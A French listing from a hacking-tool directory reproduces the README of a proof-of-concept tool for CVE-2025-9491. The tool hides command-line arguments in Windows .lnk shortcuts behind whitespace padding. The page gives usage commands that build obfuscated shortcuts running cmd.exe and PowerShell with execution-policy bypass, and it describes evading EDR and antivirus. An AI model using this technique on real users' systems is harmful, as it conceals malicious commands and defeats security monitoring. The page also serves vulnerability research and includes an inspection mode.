Skip to content
KitploitKITPLOIT
OutilsBlog
Soumettre
OutilsBlog
Soumettre

Outils de Hacking, PenTest et Cybersécurité pour votre Arsenal de Sécurité !

Kitploit est un répertoire d'outils de hacking, de cybersécurité et de pentesting. Découvrez les dernières mises à jour des projets pour trouver des vulnérabilités, analyser des systèmes, automatiser les tests et renforcer votre sécurité.

··Flux·Contact·Confidentialité·© 2026 Kitploit

Répertoire d'outils

Catégories

Voir toutes les catégories
Loading categories
CVE-2025-9491_POC — Preuve de concept de la CVE-2025-9491 utilisant des caractères invisibles dans les arguments d'un fichier raccourci Windows (.lnk) | Kitploit
Outils/GitHubGitHub/amperclock/cve-2025-9491_poc
ExploitationTests d'IntrusionAnalyse de BinairesApprentissage et ÉducationRed TeamingDéveloppement de Charges Utiles
GitHubamperclock/cve-2025-9491_poc

CVE-2025-9491_POC

Preuve de concept de la CVE-2025-9491 utilisant des caractères invisibles dans les arguments d'un fichier raccourci Windows (.lnk)

Voir le dépôt
184il y a 9 moisPas encore vérifié

Populaires

Voir tout →

Découvrez les outils les plus utilisés par notre communauté.

Explorer tous les outils

Parcourez notre collection d'outils

Voir tous les outils →
Partager

CVE-2025-9491 PoC d'obfuscation de LNK

Un outil de preuve de concept pour démontrer la vulnérabilité des fichiers raccourcis Windows (LNK) (ZDI-CAN-25373/CVE-2025-9491). Cet outil montre comment des arguments de ligne de commande malveillants peuvent être cachés dans des fichiers .lnk en exploitant un remplissage par caractères d'espacement.

Cet outil est fourni à des fins éducatives et de tests de sécurité autorisés uniquement. L'accès non autorisé à des systèmes informatiques est illégal. Utilisez cet outil uniquement sur des systèmes dont vous êtes propriétaire ou pour lesquels vous avez une autorisation explicite de test.


Table des matières

  • Description
  • Détails de la vulnérabilité
  • Installation
  • Utilisation
    • Mode Création
    • Mode Obfuscation
    • Mode Analyse
  • Crédits

Description

Il s'agit d'un outil de preuve de concept pour créer et manipuler des fichiers .lnk (raccourcis) Windows afin de démontrer la vulnérabilité CVE-2025-9491. L'outil permet aux utilisateurs de :

  1. Créer de nouveaux fichiers LNK obfusqués à partir de zéro
  2. Obfusquer des fichiers LNK existants en ajoutant un remplissage à leurs arguments
  3. Analyser des fichiers LNK pour inspecter leur contenu

La vulnérabilité exploite la manière dont Windows affiche les propriétés des fichiers raccourcis, permettant aux attaquants de masquer des arguments de ligne de commande malveillants aux utilisateurs qui inspectent le raccourci.


Détails de la vulnérabilité

CVE-2025-9491 est une vulnérabilité de fausse représentation de l'interface utilisateur Windows affectant les fichiers .lnk (raccourcis). Elle a été découverte par le Zero Day Initiative de Trend Micro (ZDI-CAN-25373) et a été exploitée par des groupes APT parrainés par des États depuis au moins 2017 (consultez la section Crédits pour plus de détails).

La vulnérabilité exploite le champ "Cible" de taille fixe de l'interface utilisateur des raccourcis Windows. En remplissant les arguments avec des caractères d'espacement (espace, tabulation, saut de ligne, retour chariot), un acteur malveillant peut : masquer des commandes malveillantes et exécuter des charges utiles cachées. Cela peut également être utilisé pour contourner la détection, car les utilisateurs inspectant le raccourci ne voient que le remplissage d'espaces, pas la commande réelle ; l'EDR aura une ligne de commande extrêmement longue dans la télémétrie, et si elle est suffisamment longue, les EPP ou AV courants abandonneront sa lecture complète.


Installation

Python 3.7 ou supérieur est requis.

  1. Clonez ou téléchargez le dépôt :

    root@kitploit:~
    git clone https://github.com/amperlcock/CVE-2025-9491_POC.git
    cd CVE-2025-9491_POC
    
  2. Installez les dépendances :

    root@kitploit:~
    Méthode rapide et sale, un venv est préférable.
    pip install -r requirements.txt
    
  3. Exécutez l'outil :

    root@kitploit:~
    python main.py --help
    

Utilisation

L'outil dispose de trois modes principaux : create, obfuscate, et parse.

Mode Création

Crée un nouveau fichier LNK obfusqué à partir de zéro.

Syntaxe :

root@kitploit:~
python main.py create -t CIBLE -a ARGUMENTS -o SORTIE [options]

Arguments obligatoires :

  • -t, --target - Chemin vers le fichier exécutable cible
  • -a, --arguments - Arguments à passer à l'exécutable cible
  • -o, --output - Destination du fichier LNK de sortie

Arguments optionnels :

  • -c, --charset - Jeu de caractères personnalisé pour le remplissage (format HEX)

    • Par défaut : 20,09,0A,0B,0C,0D (espace, tabulation, LF, VT, FF, CR)
    • Format : Valeurs HEX séparées par des virgules (sans préfixe 0x)
  • -s, --padding_size - Nombre de caractères de remplissage

    • Par défaut : 128 (aucune limite connue)
    • Type : Entier
  • -p, --pattern_type - Style de motif de remplissage

    • 1 (par défaut) : Motif aléatoire - Utilise une sélection aléatoire dans le jeu de caractères
    • 2 : Motif mono - Répète le premier élément du jeu de caractères
    • 3 : Motif cyclique - Parcourt les éléments du jeu de caractères
  • -i, --icon - Chemin vers une icône personnalisée pour le raccourci

    • Par défaut : Aucun (utilise l'icône par défaut)
  • -d, --description - Description visible pour le raccourci

    • Par défaut : Aucun
  • -v, --verbose - Activer les sorties détaillées

Exemple :

root@kitploit:~
python main.py create -t C:\Windows\System32\cmd.exe -a "/c whoami" -o sortie.lnk -s 256 -v

Mode Obfuscation

Ajoute un remplissage aux arguments d'un fichier LNK existant.

Syntaxe :

root@kitploit:~
python main.py obfuscate -i ENTREE -o SORTIE [options]

Arguments obligatoires :

  • -i, --input - Chemin vers le fichier LNK existant à obfusquer
  • -o, --output - Destination du fichier LNK de sortie

Arguments optionnels :

  • -c, --charset - Jeu de caractères personnalisé pour le remplissage (format HEX)

    • Par défaut : 20,09,0A,0B,0C,0D
    • Format : Valeurs HEX séparées par des virgules
  • -s, --padding_size - Nombre de caractères de remplissage

    • Par défaut : 128
    • Type : Entier
  • -p, --pattern_type - Style de motif de remplissage

    • 1 (par défaut) : Motif aléatoire
    • 2 : Motif mono
    • 3 : Motif cyclique
  • -v, --verbose - Activer les sorties détaillées

    • Affiche le chargement du fichier, la génération du remplissage et les opérations de sauvegarde

Exemple :

root@kitploit:~
python main.py obfuscate -i benin.lnk -o obfusque.lnk -s 256 -p 3 -v

Mode Analyse

Affiche le contenu d'un fichier LNK existant.

Syntaxe :

root@kitploit:~
python main.py parse -i ENTREE

Arguments obligatoires :

  • -i, --input - Chemin vers le fichier LNK à analyser et afficher

Exemple :

root@kitploit:~
python main.py parse -i sortie.lnk

Exemples

Exemple 1 : Créer un raccourci obfusqué simple

root@kitploit:~
python main.py create \
  -t "cmd.exe" \
  -a "/c powershell -Command Get-Process" \
  -o malveillant.lnk \
  -s 200 \
  -p 1 \
  -v

Ceci crée un raccourci vers cmd.exe avec une commande PowerShell cachée précédée de 200 caractères de remplissage aléatoire.

Exemple 2 : Obfusquer un raccourci existant

root@kitploit:~
python main.py obfuscate \
  -i "legitime.lnk" \
  -o "obfusque.lnk" \
  -s 512 \
  -c "20,09,0A" \
  -p 2

Ceci ajoute 512 caractères de remplissage mono-motif (utilisant espace et tabulation) à un raccourci existant.

Exemple 3 : Inspecter un fichier LNK

root@kitploit:~
python main.py parse -i "suspect.lnk"

La sortie affiche toutes les propriétés, y compris les arguments cachés.

Exemple 4 : Motif de jeu de caractères personnalisé

root@kitploit:~
python main.py create \
  -t "powershell.exe" \
  -a "-NoProfile -ExecutionPolicy Bypass -Command 'Get-ChildItem'" \
  -o sortie.lnk \
  -c "20,09,0A,0B,0C,0D" \
  -s 1024 \
  -p 3 \
  -d "Mon Document"

Crédits

  • Découverte de la vulnérabilité : Trend Micro Zero Day Initiative ZDI-CAN-25373
  • Bibliothèque pylnk3 : Strayge et contributeurs
  • Bibliothèque pylnk originale : tim-erwin
Télécharger l’outil
  • Par défaut : Désactivé